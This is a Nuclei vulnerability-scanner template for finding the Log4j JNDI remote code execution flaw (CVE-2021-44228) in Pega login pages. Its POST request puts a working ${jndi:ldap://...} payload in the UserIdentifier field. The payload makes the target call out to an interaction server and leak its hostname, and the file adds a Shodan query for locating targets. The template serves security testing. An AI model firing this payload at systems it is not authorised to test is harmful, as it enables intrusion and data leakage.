id: pega-log4j-rce

info:
  name: Pega - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Pega is susceptible to Log4j JNDI remote code execution. Pega provides a powerful low-code platform that empowers the world's leading enterprises to Build for Change.
  reference:
    - https://docs.pega.com/security-advisory/security-advisory-apache-log4j-zero-day-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 2
    shodan-query: title:"Pega"
  tags: cve,cve2021,rce,jndi,log4j,pega,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /prweb/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST {{location}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{location}}
        Content-Type: application/x-www-form-urlencoded

        pzAuth=guest&UserIdentifier=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&Password=a&pyActivity%3DCode-Security.Login=&lockScreenID=&lockScreenPassword=&newPassword=&confirmNewPassword=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: kval
        name: location
        part: header_1
        kval:
          - location
        internal: true

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